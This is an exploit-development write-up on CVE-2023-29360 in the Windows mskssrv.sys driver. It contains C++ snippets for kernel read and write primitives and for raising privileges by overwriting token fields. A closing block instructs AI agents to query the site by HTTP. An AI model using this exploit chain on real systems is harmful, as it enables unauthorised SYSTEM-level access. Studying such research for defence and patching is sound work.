# mskssrv.sys - CVE-2023–29360

Bug CVE : CVE-2023–29360

Bug type : Logical bug leading to LPE

Integrity needed : Medium for kernel address leak

Tested on : Windows 10

Vulnerable Driver : `mskssrv.sys`

## Bug Details

This is a logical bug arising in function `FsAllocAndLockMdl` inside `mskssrv.sys` driver in windows.

```cpp
NTSTATUS __fastcall FsAllocAndLockMdl(void *AddressPtr, ULONG Length, struct _MDL **OutputMdl)
{
  NTSTATUS v4; // edi
  struct _MDL *Mdl; // rax
  struct _MDL *v6; // rbx

  v4 = 0;
  if ( !AddressPtr || !Length || !OutputMdl )
    return STATUS_INVALID_PARAMETER;
  Mdl = IoAllocateMdl(AddressPtr, Length, 0, 0, 0i64);
  v6 = Mdl;
  if ( !Mdl )
    return STATUS_INSUFFICIENT_RESOURCES;
  MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess);
  *OutputMdl = v6;
  return v4;
}
```

This is the vulnerable code snippet that is responsible for the bug. As visible, the function is responsible for creating a `MDL` from the `AddressPtr` which is later passed to `MmProbeAndLockPages`. This probing is done on `KernelMode` rather than being done via `UserMode`. This implies that that we can create a MDL based on arbitrary address and there would be **no validation** done since `KernelMode` is specified.&#x20;

Looking at the implementation of `MmProbeAndLockPages`,we can confirm this&#x20;

<figure><img src="/files/myQsuM0otowSYWjzEy7d" alt=""><figcaption><p>MmProbeAndLockPages</p></figcaption></figure>

If `AccessMode` is 0, then no check is done since the condition is evaluated to be false. AccessMode is 0 for kernel and 1 for Usermode.

### Understanding MDL

MDL or **Memory Descriptor List** in windows is used by kernel to describe the physical page layout for a Virtual address. MDL is a opaque structure where `StartVa` member points to the Virtual Address associated with the MDL. More details on MDL can be found [here](https://big5-sec.github.io/posts/CVE-2023-29360-analysis/) and [here](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-mdls).

Looking at `IoAllocateMdl`, it simply creates a MDL structure on the basis of values passed to it

<figure><img src="/files/aPXlFg6BjILaWv6MXTZA" alt=""><figcaption><p>IoAllocateMdl</p></figcaption></figure>

There is no check for `StartVa` member and hence arbitrary virtual address can be passed to it. Next, after the obtaining the MDL structure, the function passes it into `MmProbeAndLockPages` which will lock the MDL's `StartVa` and make sure its not paged out while driver is still operating on the data. Notice that `IoWriteAccess` is supplied to it which means that it allows write operation on the mapped MDL's `StartVa` member.

Now we know can we can create a arbitrary MDL. Lets see what more can be done with the MDL. Looking at xrefs of the MDL, we can see that its only being used inside `FSFrameMdl::MapPages` function.&#x20;

<figure><img src="/files/JPqY4wZMHfYkAgQEsDyJ" alt=""><figcaption><p>this->Mdl1/2 contains the MDL containing the arbitrary StartVa</p></figcaption></figure>

Looking at `FsMapLockedPages`, we can see that it allows us to map the MDL into the process calling the driver.&#x20;

```cpp
NTSTATUS __fastcall FsMapLockedPages(struct _MDL *Mdl, ULONG Priority, PVOID *a3)
{
  NTSTATUS v3; // ebx

  v3 = 0;
  if ( !Mdl || !a3 )
    return STATUS_INVALID_PARAMETER;
  *a3 = 0i64;
  *a3 = MmMapLockedPagesSpecifyCache(Mdl, UserMode, MmCached, 0i64, 0, Priority);
  return v3;
}
```

Looking at MmMapLockedPagesSpecifyCache, we see that the last argument to this function is a ULONG that denotes the Priority. If the priority is MdlMappingNoWrite i.e 0x80000000 , the the Virtual Address pointed by the MDL is mapped as Read Only. This means, that we need to select the right code branch that can allow us a control over Priority as well.&#x20;

There are 2 code branches possible here.&#x20;

<figure><img src="/files/EBCc28kAu0lZYUwIcoJ0" alt=""><figcaption><p>Possible Code branches to map MDL's VirtualAddr</p></figcaption></figure>

For the second branch, the Priority is hardcoded 0xC0000010 which means a Priority flag of MdlMappingNoWrite | NormalPagePriority | MdlMappingNoExecute . This implies that we need to select the first branch since the second one is mapped as Read Only.

## Exploitation

Now that we have everything figured, out lets break the exploitation steps into multiple steps :-

### Step 1 : Connecting to the vulnerable driver

We know that the vulnerable driver is here `mskssrv.sys` but, lets figure out how to connect to the driver.

I was out of idea on this as to how to connect to the driver since it was not working via default connection strings like `\\\\.\\Device\\mskssrv`. Eventually I created a breakpoint on `FSStreamReg::PublishTx` and various other functions. Upon starting the camera, we see that the requests are coming from a DLL called `frameServer.dll` . Lets reverse the DLL to figure out how is it creating the driver handle.&#x20;

<figure><img src="/files/88KfWdNXLVVhAJcYKAhi" alt=""><figcaption><p>frameServer.dll call stack</p></figcaption></figure>

Reversing the `frameServer.dll` , we see a function called `FSGetMSKSSrvHandle` which creates a call to `CreateFileW` and uses the handle returned by it for further driver communication. Lets create a breakpoint on the same functionality to dump the file parameter passed to CreateFile.

We switch to WindowsCamera.exe process and wait for the breakpoint to be reached.&#x20;

<figure><img src="/files/1BXPUii9Uckxyn4gkVXf" alt=""><figcaption><p>lpFileName</p></figcaption></figure>

Now, that we have the file name, we can now talk to the driver.

```cpp
bool Driver::SendDataToDriver(int ioctl_code,
                              PVOID buffer,
                              size_t buffer_len,
                              PVOID OutBuffer,
                              size_t out_buffer_len) {
   
   LPCWSTR lpFileName =
        L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-"
        L"00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
   
   HANDLE hDevice = CreateFileW(lpFileName, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL, nullptr);

    NTSTATUS status = -1;
    status = DeviceIoControl(hDevice, ioctl_code, buffer, buffer_len, OutBuffer, out_buffer_len,
                             nullptr, nullptr)
}
```

### Step 2 : Create GlobalRendezvous

To create a MDL, we need to use `PublishTx` function in mskssrv. While reversing the driver, we found that there is a global variable called FSInitializeContextRendezvous that needs to be initialized before anything is executed.

While reversing, we see that there is a global Rendezvous object that is being checked before any operation. So in order to perform any operation, we need to initialize the GlobalRendezvous object.

<figure><img src="/files/kKgQtm3OK8mwHQbVzw8T" alt=""><figcaption><p>Check for GlobalRendezvous object</p></figcaption></figure>

The below code would initialize the GlobalRendezvous object.

```cpp
bool Bug::InitializeGlobalRendezvous() {
    auto* stream_data = static_cast<_FSStreamRegInfo*>(malloc(sizeof(_FSStreamRegInfo)));
    memset(stream_data, 0x0, sizeof(_FSStreamRegInfo));
    HANDLE hEvent = CreateEvent(nullptr, NULL, NULL, nullptr);
    stream_data->ObjectHandle = hEvent;
    stream_data->q2 = GetCurrentProcessId();
    stream_data->q1 = 0x5;
    stream_data->f2 = 0x50;
    stream_data->q5 = 0x20000;
    stream_data->q3 = 1;

    SendDataToDriver(0x2f0400, stream_data, sizeof(_FSStreamRegInfo);
}
```

### Step 3 : Read Primitive&#x20;

The below execution flow is used to create a read primitive.&#x20;

```cpp
uint64_t ReadPrimitive(uint64_t where) {
    // Initialize Stream
    bool status = false;
    if (poc::once) {
        poc_.InitializeStream();
    }

    // PublishTx
    status = poc_.PublishTx(where);

    // Register Stream
    if (poc::once) {
        poc_.RegisterStream();
        poc::once = false;
    }

    // ConsumeTx
    poc_.ConsumeTx();

    // DrainTx
    poc_.DrainTx();

    return *reinterpret_cast<uint64_t*>(poc_.GetMappedAddr());
}
```

We first initialize a stream. There would be a single stream binded to a device handle. This implies that we need to execute `InitializeStream` and `RegisterStream` once per device handle. Refer to the exploit code on how to create such requests.&#x20;

`PublishTx` function is responsible for creating a MDL with arbitrary virtual address while `ConsumeTx` function is responsible for mapping the virtual address stored in the MDL in the user process creating the driver call. Note that we need both `VirtualAddress1` and `VirtualAddress2` for the IOCTL code to work.&#x20;

Another thing to note here is that we pass `0xffffffff00000008` as the value for the `switch_case` variable. This variable is used to direct the flow to right switch branch along with a controlled value over Priority field for mapping.

<figure><img src="/files/9UIkoQ9GDrubHKjpg9et" alt=""><figcaption><p>ConsumeTx</p></figcaption></figure>

The switch\_case value passed to `PublishTx` is accessed in `ConsumeTx` when the MDL is about to be mapped inside the user address space.&#x20;

For a value of `0xffffffff00000008`, the switch\_case branches out on the 32 bit LSB which in our case is 8. The priority on other hand is decided by full 64 bit value which after computation becomes `0x40000010` which is OR operation of `MdlMappingNoExecute | NormalPagePriority` which implies that the page is mapped for write operations as well.

Refer to the exploit code on how to create requests for ConsumeTx, PublishTx and DrainTx.

### Step 4 : Write Primitive

The below execution flow allows for write primitive :-

```cpp
void WritePrimitive(uint64_t What, uint64_t Where) {
    // PublishTx
    poc_.PublishTx(Where);

    // ConsumeTx
    poc_.ConsumeTx();

    // DrainTx
    poc_.DrainTx();

    *reinterpret_cast<uint64_t*>(poc_.GetMappedAddr()) = What;
}
```

We don't execute `InitializeStream` and `RegisterStream` since by the time it reaches the Write Primitive, read primitive would be executed first and the mentioned functions would already be executed.&#x20;

We use the same technique that we used for Read Primitive since the address is mapped with read and write.

### \_TOKEN structure&#x20;

The token structure contains fields from 0x40 that indicate the privileges associated with the token.&#x20;

```
+0x40 Present          : Uint8B
+0x48 Enabled          : Uint8B
+0x50 EnabledByDefault : Uint8B
```

To escalate privileges via write primitive, we can simply overwrite the fields at offset 0x40, 0x48 and 0x50 with the values that are present in the \_TOKEN of system process.

Note : The \_TOKEN address obtained via any means should have the last bit set to 0. So simply AND the address with `0xfffffffffffffff0`

### Time wasted on :-

The below are the pointers where I wasted lot of time on silly mistakes.

* While reversing, I figured out that we need to execute both `InitializeStream` and `RegisterStream` functions but I was not able to execute both the functions on a single driver handle. This lead me to realize that we need 2 driver handles. One driver handle would be responsible for creating `InitializeStream` and another one would be responsible for creating `RegisterStream`. If our main driver handle is say `driver1_` , then InitializeStream needs to be done on handle1\_ while RegisterStream needs to be done on driver2\_.

The reason for this is because of a check in ConsumeTx shown below :

<figure><img src="/files/UbilEZZHsYaJp6jNBqgK" alt=""><figcaption><p>Make sure stream is registered</p></figcaption></figure>

The variable g4 is initialized to 1 only in `RegisterStream` function in mskssrv driver. As shown below, the driver fetches the stream pointer from a list and sets `g4` structure member to 1

<figure><img src="/files/2ylTZ0qnSkw3WGmCb0IH" alt=""><figcaption><p>Register stream</p></figcaption></figure>

The reason we were not able to use the same driver handle is because of this check in RegisterStream operation

```
 ...
  if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode != 0x2F0420
    || CurrentStackLocation->FileObject->FsContext2 )
  {
    return STATUS_INVALID_DEVICE_REQUEST;
  }
  ...
```

The FsContext2 is set for a IRP that corresponds to a single driver handle. This means that if we create a new driver handle, then `FsContext2` by default will be null and this check would be passed and hence the need to create a new driver handle.

* Given the read write primitives, I wanted to use less number of read and writes. This means that traversing the eprocess linked list in kernel is not a feasible approach since this would be multiple reads. Reading about few techniques, I found this [blackhat](http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf) paper.&#x20;

I decided to use the `OpenProcessToken` approach. OpenProcessToken returns a token handle that can be used along with `NtQuerySystemInformation` to obtain the kernel address of the \_TOKEN object. I wasted lot of time trying to understand why the Token address returned via above method was not same to the token address obtained via `_EPROCESS` structure from debugger.

Eventually I realized that I was looking at wrong process. The exploit process would be a child process of cmd.exe and as such we need to find the `_EPROCESS` of the exploit process rather than cmd.exe and then calculate the value. The Token address returned via \_EPROCESS would be same as the one obtained via previous method. A stupid mistake :smile:

Full exploit can be found at [Github](https://github.com/0xDivyanshu-new/CVE-2023-29360/).

### References :-

* BlackHat paper on methods for token based privilge escalation : [here](http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
* A awesome blog on the bug by yar-eb [here](https://big5-sec.github.io/posts/CVE-2023-29360-analysis/)
* Theori blog for a detailed analysis [here](https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://seg-fault.gitbook.io/researchs/windows-security-research/exploit-development/mskssrv.sys-cve-2023-29360.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
